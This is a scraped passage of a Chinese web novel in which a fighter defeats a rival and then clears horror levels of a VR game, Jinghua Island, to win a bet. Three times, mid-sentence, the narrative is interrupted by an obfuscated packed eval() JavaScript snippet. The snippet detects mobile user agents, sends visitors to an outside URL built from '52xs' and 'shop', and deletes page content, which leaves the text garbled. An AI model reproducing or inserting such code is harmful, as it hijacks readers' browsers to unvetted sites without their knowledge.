她看到了，在眼前这个女生护住脸的双臂后，那对阴森森的目光始终没有移开，而是一直盯着自己！ 不知道为什么。 楚煊明明觉得自己已经占尽上风，几近虐待，但她越是出手，越是心里没了底。她有一种模糊的感觉，在她身下的这个垃圾C级女生，不是人，而是一头野兽。 而且，是一头没有理智的野兽。 如果不打死她，就永远不会服输！ 该死！真该死！ 楚煊暗骂了一句，再一次高高举起了右拳—— 而就在此时，姜渔终于松开了双臂！ 右腿的疼痛已经消失，她第一时间抓住楚煊因为挥拳太久而开始大意的破绽，抬脚踹向楚煊的腹部！ 楚煊一时避之不及，身子向后仰去。 下一秒，她又发现自己的右手被拉住了，自己并没有向后摔倒。 楚煊纳闷地抬头看向前方—— 姜渔双手正死死攥住她小臂内的三根钢针！ 姜渔眼底没有一丝波动，她等待这个机会已经等了很久，她目光锁定在三根钢针的关节处，没有丝毫犹豫，用尽全身力气，将三根钢针旋转、掰断！ 楚煊双眼一黑，大骂：“你他爹的……” 姜渔却没有理会，她已经完全回到了自己在云市战斗的日子，眼里只有楚煊一个人，而自己也只有一个任务：击杀！回家！ 几乎是肌肉记忆一般，姜渔拿到三根钢针后，梦回自己第一次遇见衍生体时，持着钢筋的那一天，而今，她手上没有丝毫停顿，熟练地将其中两根分别刺穿楚煊的牛仔裤与铆钉皮衣。 钢针穿过衣服，刺裂地面，如刚刚一般，将楚煊的右手与左腿钉在了地面上。 姜渔一套动作，行云流水，雷厉风行。 当楚煊反应过来想要挣扎时，她已经看到姜渔持着最后一根钢针，悬在了自己的额头上！ 场内陷入了死一般的沉默。 三人组中，一个女生摩挲着下巴，饶有兴趣地说：“这是与衍生体战斗的基本技巧啊。” 另一个男生点点头：“她加入过夜莺？” “不像，不是。”最后一个女生不知道出于什么下的结论，说：“这是个见过衍生体的妹妹啊。” “还活了下来。而且，看手法，大概率击杀过衍生体。”最先说话的女生接着说，“很熟练嘛。” 有场内的某种设备加持，在电子乐的跃动声中，所有人都听见了几人的对话。 楚煊盯着钢针后面姜渔一张冷脸，那张脸上青一块紫一块，不乏点点血迹。 她十分不满地冷哼一声，朗声说：“你们也太不够意思了吧，知道和衍生体战斗的基本技巧却从来不跟我们这些同事分享？” 这些话是对刚刚那三个人说的。 而三人组并没有答话。 忽然，一个温和的声音在门口响起：“尊敬的楚煊女士，看来您和姜渔女士经历了一场并不友好的交流。” 楚煊嚼了两下口香糖：“法斯特，你说错了，这是一场昂贵的交流，这位女士刚刚拆了我义臂的三根配件。” 男人声音有些无奈，“楚煊女士，您的基因改造师已经给过建议，您最好在接下来少吃糖，嗜糖如命会对您下一次的改造产生负面影响。” “我问过，阿斯巴甜没关系。” 楚煊躺平的姿态表示着她已经不想再打了。更何况，胜负已分。 姜渔松手，最后一根钢针掉在地上，缓缓起身。 她回过头，看到一个身穿黑色西装西裤、白色衬衣的男人，向自己微微欠身：“首次见面，请多指教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375046|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我是您的管家法斯特，姜渔女士。” 姜渔冷冷说：“以后在给新人的建议中加一条，奉劝他们入职后不要先来娱乐区。这里有疯子。” “呵，疯子？精卫所有的新人都要过这一关，在这儿所有单子是要靠抢的，我们本来就是竞争关系，我没必要对你客气。”楚煊居高临下地睥睨着姜渔，脸上是毫无掩饰的鄙夷。 姜渔耸耸肩，对此不置可否。 如果她需要证明实力，相信她已经做到了。 法斯特二十七八岁的年纪，脸色白皙，目光明亮，眸底总是带着一丝笑意，他再次对姜渔欠身，恭敬说：“姜渔女士，我会听取您的建议，但措辞会对楚煊女士友好一点。” “不用。”楚煊已经费力拔掉了将自己固定在地上的两根钢针，站了起来。 “我只想跟这位女士打一个赌，如果她赢了，随便你怎么写，写我是一个受虐狂疯子都没关系。” 法斯特看向姜渔：“身为一名绅士，我不会采用这样不妥的用语，除非这是一场双方同意的赌局。” “楚煊是么？我对你身为一名受虐狂的真实心理状态没有兴趣。”姜渔擦了擦脸上的血，看着一脸鄙夷的楚煊，对比之下，她的姿态很放松：“你想赌什么？” 方才的战斗激起了她好斗的基因，她并不抗拒冲突，甚至，此时的她生出了一种淡淡熟悉感，仿佛回到了随时战斗的云市。 “镜花岛，如果你能通过初级岛，就算你赢。如果你输了，就滚出这家公司。” 姜渔漫不经心地问道：“镜花岛是什么？” “镜花岛是一款可以较为真实地模拟出思觉塌陷，甚至幻境沼泽的游戏。”法斯特在旁递来一片洁白的手帕，微笑解释，“在咱们公司，员工们时常会接触辐射物、晶核等对精神具备攻击性的快递。所以，镜花岛也考验了员工在快递运输过程中，基本的自保能力。姜渔女士，你是第一次听说？” 姜渔点头，“我很少玩游戏”。她每天打工都嫌24小时不够用，除了纪小麦曾经拉着她玩过的经营游戏以外，几乎就是游戏白痴。 娱乐室中响起了窸窸窣窣的讨论声： “有好戏看了。” “镜花岛的初级副本都设置了精神波动值保护机制，这是一个bug级的难度，玩家初始精神值是0，正常波动区间在-10-10之间，但在初级岛，玩家即便有能力通关，只要在过程中精神波动值超过-1~1就会被自动弹出游戏，美其名曰对玩家的精神保护。这个破初级岛我当时都卡了3个月才过。” “如果没有进行过基因改造，第一次就过初级岛是不可能的吧？” “当然有可能，听说‘时过境迁’大佬就是一次闯到了高级岛，而且现在还是记录保持者，传说大佬本人是从幻境沼泽中死里逃生过的。但对普通人来说是不可能的……” 姜渔算是听明白了，这个游戏就是考验人的精神稳定程度，模拟幻境沼泽的模式。 只是不知道呈现方式和真实的幻境沼泽差别如何？ “怎么？怕了？”楚煊似乎笃定姜渔无法通过初级岛，她以为姜渔退缩了。 姜渔笑了，她脸上还挂着伤痕，这个笑却带出了无尽的野蛮的生机。 “如果我赢了呢？你还没说你的赌注是什么。” “你赢了，我的义臂修好后给你，随你处理，拍卖价值不会低于十万联邦币。”楚煊自上而下打量着姜渔后下了判断，“我猜，你一定很缺钱。” 楚煊声音落下，周围响起一阵讥笑。 姜渔毫不在意旁人的态度，她向旁啐出一口嘴里的鲜血，看着楚煊的义臂，脸上的笑意更盛： “你敢不敢赌更大的？我输了，随你处理，再离开精卫。” “随我处理？”楚煊看着姜渔那双让她厌烦的眼睛，心里莫名烦躁，她皱了皱眉：“那你要什么？更多钱？” 姜渔没有正面回答，而是：“都有什么类型的义臂？” “你想要什么样的，黑市里都有。”楚煊不耐烦地嚼了嚼口香糖，“顶级的黑云，征烈，我都能搞到。中低端的更不用说了。奢侈品也有，但没什么收藏价值。而且，我赌义臂只是因为刚刚用它伤了你，如果你不要它，只要钱的话，我可以直接转账。” 姜渔却很有耐心：“请为我再介绍一点。” “你到底要听什么？你对义臂了解多少？是对型号要求还是对材质要求？公司？品牌？市面上义臂太多了，我见过最弱智的那种，还有鸡毛掸子义臂，饭铲义臂，大棒棒糖义臂……” 姜渔眼睛一亮：“对，就是这个。如果我赢了，我就要这个。” 楚煊的表情变得有些迟疑：“你要……棒棒糖的义臂？” “对。”姜渔微笑，“我要这个棒棒糖的，插在你的手上。” 32. 初级岛 楚煊听到姜渔的要求后，表情瞬间变了。 她见过那个棒棒糖义臂，极为愚蠢，给自己的胳膊安上那种义臂，她基本可以放弃出门见人了。 “一个月。”楚煊咬牙切齿地说，“我输了，就带着它生活一个月。” “成交。”姜渔点点头：“怎么玩？” “请跟我来，姜渔女士。”法斯特伸手做出“请”的手势。 姜渔跟着法斯特的指引，来到了一台椭圆蛋形的洁白游戏舱前，游戏舱上除了在头部有一块玻璃外，还有三十六个小岛形状的图案。三十六个小岛排列组合，组成一幅更大的钥匙图案。 姜渔问：“我躺进去了就可以吗？” “是的，姜渔女士。” 法斯特在游戏舱旁的仪器上点击几下，游戏舱应声而开，说：“请进吧。” 姜渔回头看了看，娱乐区的所有人都围过来了。她环视一圈，不再说话，仰躺了进去。 “根据玩家的经验总结，1-9号岛为初级岛，10-18号岛为高级岛，18-36号岛称为噩梦岛。在您与楚煊女士的赌局中，如果您可以通关9号岛便已经获胜。”法斯特优雅地欠身微笑：“新手登录后会有指引NPC进行新手介绍，为保证公平，在下就不对您多加提示了。抱歉。” 姜渔说：“没事，请开始吧。我已经明白了。” “好的。”法斯特说完，再次点击按钮，游戏舱合上。 姜渔感到舱体四周的硅胶状保护膜逐渐膨胀，完美地贴合了自己的头部与身体，眼前顿时黑了下去，皮肤上传来温和的触感。 “欢迎来到镜花岛。” 伴随着一个女声响起，姜渔睁开眼，眼前已经景色大变。 这是一个小码头，眼前站着一名五官端正的女生，显然是指引NPC。女生背后，是郁郁葱葱的丛林。 姜渔回头看去，一片汪洋。 一呼一吸之间，海洋气候的湿润感扑面而来。 一切十分真实。 前方的指引NPC再次开口：“作为第一次登岛的游客，请在您眼前的触摸板上输入您的ID与密码。” 姜渔听罢，低头看去，在身前的腰部位置出现了一片触摸屏幕。 简单思考一番后，姜渔按照流程输入了名为“棒棒糖之手”的ID，并设置了一个简单密码，点击了确认。 “看来您已经做好登岛的准备了，棒棒糖之手。”指引NPC微笑说： “作为帮助联邦公民了解幻境沼泽的游戏，幻境岛秉承着探索极限的初衷，为玩家们设置了三十六个可以自由行动的岛屿。在每个岛屿上，都藏有一把通关钥匙。当玩家找到通关钥匙后，即可前往下一关。当玩家通过全部三十六个岛屿后，有机会获得本公司准备的神秘钥匙一把。” “在游玩过程中，由本公司制作的游戏舱可以准确测试玩家的精神波动程度，当检测到玩家精神波动过大时，游戏会提前中止并视为失败，以保护玩家的精神健康。” “以上就是游戏的基本内容，请问棒棒糖之手还有什么疑问吗？” 姜渔摇头：“没有了。” 话音落下后，指引NPC骤然消失了。 姜渔低头看去，屏幕上已经出现了一个岛屿的空心图案。 她伸出手，点了上去。 …… 娱乐区。 法斯特看到游戏舱上，最底端的一个岛屿图案，开始闪烁亮起绿灯，说：“开始了。” 楚煊看着闪烁的绿灯，嘴角挂起一抹不屑：“真是迫不及待看着她被弹出来的样子了。” “很阴险啊你，一般只有玩了几十小时的玩家，才能保证自己精神波动在-1到1之间。”睡衣组合中的女生小声评价了一番。 楚煊瞥了女生一眼：“如果你想主持公平，就应该在刚才阻止她。现在说给我听有什么用？” 女生撇撇嘴，不再说话了。 …… 姜渔按下按钮后，身边的景象迅速变换，定格。 很快，她身边已经没有一点小岛的痕迹，而是站在了一间装修温馨的客厅中，这是一间复式，客厅的天花板极高。 在姜渔左侧是客厅，除了沙发茶几，最显眼的是一架两人高的画板，上面是一名身穿黑色修女服的修女的全身画，她双手交叉放在腰间，面露微笑，神圣又慈祥。画笔与颜料板散乱地摆在一旁。 右侧是开放式厨房，整洁有序，中央岛台上摆着水果刀叉，以及一个蓝西服绿裤子的男孩毛绒玩偶。 “完全没有幻境沼泽的感觉啊。这不就是虚拟游戏吗。” 姜渔莫名地感到了一丝失望。 钥匙会在哪呢？ 她决定先向客厅走去，先是研究了一番画板上的全身画，没有什么藏匿钥匙的地方，变将画板搬到沙发后，继续弯腰踮脚地翻箱倒柜。 几分钟过去，完全没有什么发现。 “太枯燥了，我干嘛犯傻来玩这游戏啊。” 姜渔叹了口气，向厨房走去，走了两步却发现一丝蹊跷。 中央岛台上，蓝衣绿裤的男孩玩偶，似乎……换了位置？ 它刚刚应该是摆在水龙头下。 但现在，却到了中央岛台的正中央。 姜渔微微皱眉，看着男孩玩偶的塑料全黑眼珠，一股凉意缓缓浮上心头。 “不然还是再搜一下客厅吧。” 姜渔咽了口口水，回过头，凉意更甚了。 刚刚被她摆到沙发后的修女全身画，竟然重新来到了沙发前，并比之前离得更近了！ 如果她没看错，这间房子是活的？ 姜渔努力稳下心神。 这两个东西，会移动？它们的移动，意味着什么？ 我是否该让它们移动？ 如果不该让它们移动的话，那么玩偶还轻巧一点，可以先抓在手里控制住。 姜渔有了主意，她果断转身要去处理玩偶。 结果，一回头，就看到玩偶已经来到了水果餐盘旁，一把冰冷的餐刀握在了毛绒绒的手中！ 拉倒吧我还是先把画给撕了吧。 姜渔慌了一下，直接改变主意，停下脚步再次转身。 画板并没有再次移动。 但是，画板上的画，不见了。 只剩一张洁白画纸。 姜渔心跳漏了一拍，她的视线微微移向旁边—— 那名身高两米多的修女，脸上带着狞笑，正在向她极速飘过来！ …… “精神波动值：0.8。” 姜渔的游戏舱旁边的仪器上，显示出了这个提示。 “才几分钟啊，我还是太高看了她了。”楚煊忍不住得意地乐了，“下一秒是不是就要被弹出来了？” “1号岛确实很吓人了，她又没有看过任何攻略。”三人组中，一个留有黑长直头发的女生，扶了扶眼镜，有些不满地开口了，“我第一次也没坚持很久。” 法斯特在旁附和：“夏景女士说得对。所以镜花岛在保护玩家精神状态上做得确实很好，第一关的恐怖元素足以劝退很多人，但他们还是将其设置为第一关，就是想告诉玩家这款游戏确实很难。” “还有-1到1的波动限制。1也就是轻微惊吓的程度而已，它也要将人弹出。”夏景语气中带了些抱怨，她也是在为自己鸣不平，“不然我第一次就能过的。” “同样是保护玩家嘛，有些人可能只能接受轻微惊吓的程度，否则身体会出问题的。”法斯特笑了笑，“夏景女士不要在意了，让我们看看……咦？” 游戏舱上，最底端的第一个小岛，已经不在闪烁，而是□□长亮。 旁边的仪器上显示：“精神波动值：0”。 法斯特有些惊讶：“姜渔女士通关了。” “切……”楚煊面色微微一动，随即若无其事地嚼起口香糖，说：“也不错，这样才有意思一点。我喜欢刺激一点的赌局。” …… 1号岛，客厅内。 姜渔手里攥着刀，慢条斯理地蹲在修女尸体旁边，搜了一下身子，从尸体的长袍下摸出半把钥匙。 她瞥了一眼身边毛絮散落一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379635|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的玩偶，玩偶只剩下一颗头，还在用童声嘶喊着：“陪我玩陪我玩陪我玩。” 姜渔反手一刀，餐刀贯穿玩偶的嘴，玩偶也不再说话了。 “早进入正题多好啊。” 她抿了抿嘴。 就像当初在陆伯原的幻境沼泽中一样，她在隧道中也有些怯意。 这是因为她本身还是害怕那些玄之又玄的东西的。 比如：鬼。 当看到修女飘过来的那一刻，姜渔的心真的吓得空了一拍。 但是，当修女伸出手，掐住姜渔的脖子那一刻，姜渔反而又安心了。 “原来也是靠肉搏啊，那你装神弄鬼的干嘛呢。” 姜渔害怕怪力乱神，崇尚火力压制。 她随手抄起岛台上的一把刀，三下五除二解决修女，又夺走玩偶手里的刀，双手拧来拧去，玩偶一边喊着“陪我玩”一边被姜渔玩成散装棉絮了。 如果在娱乐区内的几人，有人一直注意姜渔的精神波动值后，会发现她在“0.8”的波动只维持了几秒，很快就恢复成了0。 因为姜渔开始反击的时候，心里已经再无波动。 这是她一年来的日常活动，与家常便饭无异。 此时，姜渔拆开玩偶的头部，从棉絮中找到另一半钥匙。 她将两把钥匙合在一起后，场景再次开始了变化。 姜渔发现自己回到了最初的码头，眼下，屏幕上除了一个绿油油的岛屿，出现了第二座岛屿的空心图案。 如果这就可以号称媲美幻境沼泽的话，只能证明开发者还真是没有什么生活经验。 姜渔内心吐槽着，毫不犹豫地点了下去。 …… “鸣芥，2号岛的话，我记得是面对衍生体的模拟程序吧。”夏景问身边个子有些矮，留着蘑菇头的雀斑脸女生。 鸣芥点点头：“是10期衍生体的模拟程序，钥匙会在玩家坚持躲藏五分钟后自动掉落。这是考验玩家在面对衍生体的恐惧。” 夏景若有所思：“从她熟练使用击杀衍生体的基本技巧来看，应该可以坚持。” “所以，你也和我一样，还是没办法相信只有C级战力的人类可以击杀衍生体，对吧？”鸣芥看着仪器上不变的精神波动值，“所以你才说的是坚持，而不是击杀。” “自然，我认为她可能跟巡城部甚至夜莺的人有关系，从什么人那里学到了这种技巧。”夏景点点头，说，“而且就算有能力击杀，也不可能在五分钟内完成，这是她第一次进入。” 鸣芥应道：“嗯。速通初级岛的记录中，2号岛一直是占用时间最久的。” “因为游戏舱无法同步玩家的战力。”夏景说道，“我记得最快通关2号岛的记录是47秒吧，也够变态的。” 楚煊听了两人的对话，冷哼一声，她双手环抱在胸前，语气不善：“所以是关系户喽？我说你们这三个人是不是太自私了，为什么知道击杀衍生体的基本技巧却不告诉我们？” 楚煊对这件事耿耿于怀。 “为了不让公民产生学会技巧就可以与衍生体战斗的错误认知。”夏景淡淡说，“S级以下，面对衍生体的最好办法就是逃走。” “可惜了。”楚煊目光移回姜渔的游戏舱，语气中带着浓浓的幸灾乐祸：“我真想看看这位女士在里面屁滚尿流逃跑的样子。” 鸣芥一直在看着精神波动值，语气复杂说：“精神波动值一直为0，恐怕她躲得蛮轻松，让楚煊你失望了。她进去2号岛过去多久了？” 夏景说：“大约一分钟。” 楚煊冷笑一声：“一分钟还是太短了，我当初至少坚持了三分多钟，是看到衍生体发生二段变异后才被弹出的。” 然而，当楚煊话音落下时，所有人都沉默了。 姜渔的游戏舱上，第二座岛屿的闪烁绿灯，赫然变为了蓝色长亮。 时间并没有过去五分钟。 所有人，都知道只有一种可能—— 那就是，游戏舱中的姜渔，在一分多钟的时刻，杀掉了镜花岛内的10期衍生体！ 33. 第十盏灯 “这不可能！！” 看到那一盏蓝色的灯长亮后，楚煊不禁脱口而出：“不可能……不可能！我知道了！她一定玩过这个游戏，甚至是高手！这不公平。” “那你默认对方从没玩过幻境岛，就开始一个根本不可能完成的赌约，就公平吗？”刚刚被楚煊讽刺了一句的睡衣女生，眉毛扬起，“如果你想要公平，就应该在刚才问清楚。现在说给我们听有什么用？” “我……”回旋镖来得太快，楚煊瞪着眼睛想反驳却卡壳了。 四人组中，与楚煊同样风格打扮的一个赤膊壮汉，见好友吃瘪，大声说道：“第一次玩幻境岛就通关初级岛的人，并不是绝对没有，所以赌局仍然是有悬念的！但如果是高手玩家，早将初级岛甚至高级岛通关不知道多少遍了，赌局的结果便是早已注定的！不算数。” 他满脸紫色线条的文身，看上去就不好惹，何况说话时还狠狠瞪了睡衣女生一眼。 睡衣女生不愿意跟他起冲突，暗中做了个鬼脸，彻底收声。 但她也不服输，向旁边的睡衣男生嘟囔了一句：“连“时过境迁”大佬都分享过，他过初级岛都被弹出来好几次。怎么可能真的有人第一次玩就通关初级岛嘛。” 睡衣男生拽了拽女生的衣角，低声说：“别说啦，你看他脸色多差，别给人气出病来。” 两个人的嘟嘟囔囔，所有人都听到了，文身壮汉再一次怒视两人大吼： “我脸上是文身！” 睡衣组合被吼得同时缩了缩脖子，转身相对装作很忙地给彼此整理发型。 …… 众人想笑但又觉得不太人道，纷纷装作很忙的样子。 楚煊见有人撑腰，说话顿时有了底气：“没错！像这种选择正面抗衡，且在一分多钟内就杀死2号岛衍生体的表现，只有那些每天都钻研这个衍生体的玩家才能做到，而且还需要极强的身体协调能力，甚至形成肌肉记忆，否则失误一点都会因为死掉被弹出游戏舱！” “这场赌局，应该现在就宣布作废！” 她说的话，并没有人反驳。 像这种在游戏中模拟出的衍生体，终究只是一串代码生成的程序，它不过是被设计成了衍生体的模样，被程序员赋予了数值极高的基本属性，如力度、速度、防御力、攻击方式等。 说破天，也只是一个游戏BOSS。市面上，让玩家打造装备升级技能虐杀衍生体的游戏，也不在少数。幻境岛仅仅是反其道而行之，尽可能还原了普通人与衍生体的战力差距。 既然只是程序，就有人企图战胜程序。所以才有冲击通关速度记录的高手玩家们，不断分析衍生体的行动路线与攻击方式，以达到普通人也能击杀“衍生体”的成就。 “不对啊……”夏景忽然意识到一个问题，“既然她是高玩，更应该知道这一点。但她既没有加以掩饰，现在还在通关，显然是要继续赌局。” 楚煊攥紧了拳头：“她是这个游戏的高手，当然要继续！她明摆着就是要羞辱我！” 夏景回忆了一下姜渔之前的举动，缓缓摇头：“我觉得不像。而且，玩家的账号是通过虹膜识别的，每个人只允许有一个账号。如果她是高手，那么等她出来后，可以让她展示玩家面板，看她的通关记录和游玩时长。” 楚煊听到夏景的话，冷哼一声：“这是一定的。如果她已经玩过了上百上千小时，这场赌局必须作废！” 谈话间，众人的目光移回游戏舱，不约而同地心中一动。 游戏舱上，已经亮起了五盏□□。 姜渔竟然已经开始攻略6号岛了。 …… 6号岛。 腐木与鲜血的气息，弥漫在森林小屋之中。 姜渔双手持着电锯，抹了抹脸上的血，看着躺在地上的一具尸体，松了口气。 不满的情绪浮上眉头。 “如果只是弄来一些电影电视剧的恐怖角色来吓人，也没必要打着幻境沼泽的名头吧。” 姜渔已经见过画框中的修女、持刀的玩偶、衍生体、头发盖脸的白衣女人、蹬小三轮的木偶、戴面具的壮汉，与脚下的电锯杀人狂。 这些角色，有些熟悉、有些陌生。 一路走来，姜渔与它们打成一片，场面十分热闹。 姜渔弯下腰，从尸体上搜出了钥匙。 当拿到钥匙的那一刻，姜渔重新回到了码头上，随后熟练了点击了第七座岛屿图标。 画面再次流动幻化。 当一切定格时，姜渔发现时间来到深夜，自己正站在一间茅草屋前。 这是一座古代破败院落，一股萧索气息，地面没有任何石板路与花草的装饰，只有泥泞的泥土。 “姑娘，你在这等一会啊！我去喊我师傅过来！” 姜渔还在观察时，身后传来了一个男人的声音。 她向后看去，大门口站着一个身穿布衣的西瓜头男人，他已经退到门外，一脸害怕和讪笑：“我们林师傅道法很强的！一炷香！就一炷香！到时候我和师傅带着钥匙来找你啊！如果……如果有什么异样，记得不要呼吸！” 男人说完，很果断地把门关上了。 院落中再次恢复死寂，只有银色的月光微微照亮四周。 咚。 忽然，姜渔听到茅草屋内传来一声异响，似是敲门声。 “知道了，这就来收拾你。” 姜渔晃了晃脖子，活动一下手脚，向前走去，迈上台阶，砰地一声推开了门。 映入眼帘的，首先是房间对面，倚墙摆放的案台。案台上除了两只火苗微弱的香烛，照亮昏暗的茅草屋。除此之外，还有一把拂尘、一坛糯米、一叠黄色符箓、与零落拜访的几根墨线。 似乎，是一些熟悉的意象…… 咚，咚！ 姜渔还在沉思，敲门又响起来了。她回过身，迈步进去，双目微微一凝。 只见茅草屋两侧，一排排、一列列地摆放着，朱红色的棺材。这些棺材蔓延至房屋的漆黑深处，密密麻麻地不知道具体数目。 咚，咚，咚！ 敲门声再次响了起来。 姜渔总算明白声音从何而来了：是那些棺材的棺盖，同时向上弹起，但弹起的同时，又有微微的金光闪过。那些金光像是一张网，包裹着棺材，使管盖向上弹起时，又被金光阻隔，重新盖上，发出敲门般的声音。 就在姜渔刚刚明白这一点时，所有棺材再次发出异动： 咚，咚，咚，咚！ 一时间，管盖挣脱的声音不绝于耳！伴随着一声金线啪啪断裂的声音，所有管盖都被棺材中的某种存在掀飞了！ 下一秒，每一个棺材中，都直挺挺地站起了一个身穿深蓝色古代官服、顶戴花翎官帽的尸体！ 这些尸体脸色或惨白或铁青，同时伸直双手，转向了姜渔！ …… 娱乐区。 “7号岛是僵尸诶。”睡衣女生怕怕地开口，“我一直没有过那关，它要玩家躲过一炷香的时间，根本无法控制情绪波动嘛。” 睡衣男生贴心安慰：“女孩子怕这些又不丢人，毕竟中式恐怖才是最恐怖的，没事。” 睡衣女生眨巴着大眼睛，嘴里却毫不留情：“可你这个男孩子不是连1号岛都没过吗？” 睡衣男生脸色一正：“我我我我是一名绅士，不想欺负妇女儿童！” 睡衣女没拆穿他，而是很紧张地盯着游戏舱，在心里默默地给姜渔加油。 另一边，夏景伸了个懒腰：“这里就要足足等上半个小时了，我要先去吃点东西再回来看热闹。” “我也一起。”鸣芥也移步跟上，贴在夏景身边闲聊：“说起来，猎人论坛上倒是有高玩分享，可以利用墨线在半个小时内击杀僵尸，缩短通关时间。” 夏景不置可否，“这些玩家为了突破记录什么法子都研究的出来的。但真遇到了衍生体就知道是两回事了。我是反对游戏给人留下普通人可以击杀衍生体的错觉的。” “我去趟卫生间。”楚煊眼中阴晴不定，最终说：“我想大家也没必要看这个骗子演戏了，等她出来，查看她的玩家面板，一切就会真相大白。这就是一个骗子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389435|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的无耻把戏！” 楚煊跟在两人身后，三人离开了娱乐区。 等楚煊再回来时，她看到夏景和鸣芥手上都抱着一些零食，与其他人一样，都怔怔地看着姜渔的游戏舱。 楚煊有些狐疑，加快脚步过去问：“怎么了？” 夏景神色复杂：“她在半小时内通关了，现在正在9号岛。” 楚煊闻言，更加自信了：“我就说！她就是玩过这游戏不知道多少次了！不然她怎么能知道高玩分享的通关经验？而且还真的可以做到！她练过太多次了！” 这一次，夏景也没有疑问了。 “看来这位姜渔女士前面还是演得挺像的。”她双手一摊，“我现在也反应过来了，除了1号岛，她有一些情绪波动后，在之后的几关，她的情绪波动一直为零。这种表现，必然是游戏里的顶级玩家了，再怎么演，也无法被动让自己真的感受到惊吓。” 楚煊听到后更觉愤恨，低声骂了一句：“真是无耻的骗子。” 鸣芥却有些困惑：“不过，如果真是高手的话，为什么会在9号岛停留这么久？按理来说，9号岛的通关思路，是果断按下按钮，放出之前的所有怪物，对无辜市民展开屠戮，随后按照剧情，双方全部死亡，在1号岛的玩偶脑中再次拿到钥匙就可以了。” 夏景经其提醒，不禁点点头：“你这么说，确实如此。” “还用问么？”楚煊牙都要咬碎了，恨意十足地说：“她就是在羞辱我！折磨我！无聊！无趣！无耻之徒！” …… 9号岛，尸山血海中。 姜渔欲哭无泪地奔走在各个尸体间，搜寻着钥匙。 她自然不知道外面几个人已经将她定义了游戏高手。 她根本不知道那些论坛上的经验。 就像在7号岛的僵尸一关，姜渔根本不知道那个让自己坚持一炷香的男人，说得到底是不是真话。于是，她愣是从案台上找到了唯一合手的武器——墨线，一个个割下了僵尸的头颅。 现在的9号岛也是一样。 姜渔虽然在前期毫不犹豫地按下考验玩家良心的按钮，放出怪物屠戮市民，但一切结束后，没有任何剧情开展。 姜渔认命地意识到：她得从这些尸体中翻出钥匙才行。 她翻得满头大汗，完全没意识到自己的苦楚，在外面已被楚煊理解成是姜渔对自己的羞辱。 好一番翻找后，姜渔总算从玩偶的头中，找到了完整的一把钥匙。 在画面转回码头之前，姜渔愤愤不平地再次踩了玩偶几脚。 “这就算完成了吧，并没有很难啊。” 姜渔意兴阑珊地要去点击退出游戏的选项，指引NPC再次出现了。 “恭喜您已经通过了9号岛，‘棒棒糖之手’女士，您完美地证明了您的勇气，足以应对更加真实的幻境沼泽了。” “人心深处，埋藏着各种欲望。有些时候，人会不可避免地沉浸其中。从10号岛开始，迎接您的，将是直达您内心欲望的岛屿。请问您要继续吗？” 姜渔的手顿了一下。 …… 娱乐区内。 当姜渔身处的游戏舱上，第九盏灯变为蓝色常亮的标志，众人都明白：到确认真相的时候了。 只要姜渔展现玩家面板，那么就可以解释清楚眼下发生的一切。 楚煊摩拳擦掌，眼中都是迫不及待的怒火：“出来，出来！该死的骗子敢骗老娘！” 然而，在楚煊的怒声中，姜渔的游戏舱上，第十盏灯赫然开始闪烁起来。 包括楚煊在内，所有人都愣了愣。 楚煊抓狂了。 “她到底要干什么！？” “赌局已经结束了！她不知道吗？” “我知道了，她知道自己已经露馅了，没有脸出来了！” “太好笑了。我今天就堵在这里，直到你失败！” 楚煊起伏的胸口渐渐平静下来，她看着姜渔的游戏舱，眼底闪过一丝阴狠。 “我就不信，你还能一直玩下去，直到破纪录不成？” 34. 噩梦岛 时间一分一秒过去，众人看热闹的心情愈发高涨。 夏景看着紧紧关闭着的游戏舱，若有所思地说道： “如果姜渔是老手的话，通关高级岛是没有参考价值的。也许不会耗费太长时间，她就会出来了。” 睡衣男生好奇问道：“我对1号岛之后的关卡就没有了解过了，为什么高级岛反而会耗费的时间少？” “因为高级岛的重点在于，玩家对基本欲望的克制。”鸣芥抱着一桶黄瓜味薯片，嚼啊嚼地说：“初次进入高级岛的玩家，一定会被其中更沉浸也更有冲击里的场景影响，不自觉地想在其中停留更久，以至于情绪不自觉地产生剧烈波动。而老手则会因为明白每个岛考验的是什么欲望，会对自己进行充足的心理建设，避免被勾起欲望，从而快速通关。” 睡衣男生一脸恍然大悟：“明白了。不可执识，不可思量，要八风不动。” “正是如此。”鸣芥点点头，“所以那些努力刷新通关记录的主播，多数是锻炼体术，为了尽快通关只需要打架的初级岛。到了高级岛，NPC普遍没有什么武力，速度会提升很多。” 